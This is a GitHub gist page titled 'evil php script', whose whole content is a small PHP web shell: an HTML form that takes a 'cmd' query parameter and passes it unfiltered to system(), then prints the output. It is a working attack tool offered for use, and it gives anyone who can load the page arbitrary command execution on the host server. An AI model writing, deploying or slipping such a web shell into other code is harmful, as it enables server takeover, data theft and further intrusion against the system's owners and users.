Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save katzefudder/d6635c72182b18b6a26ab12effc44a07 to your computer and use it in GitHub Desktop.
Save katzefudder/d6635c72182b18b6a26ab12effc44a07 to your computer and use it in GitHub Desktop.
evil php script - small helper =)
<html>
<body>
<form method="get" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="cmd" id="cmd" size="80">
<input type="submit" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment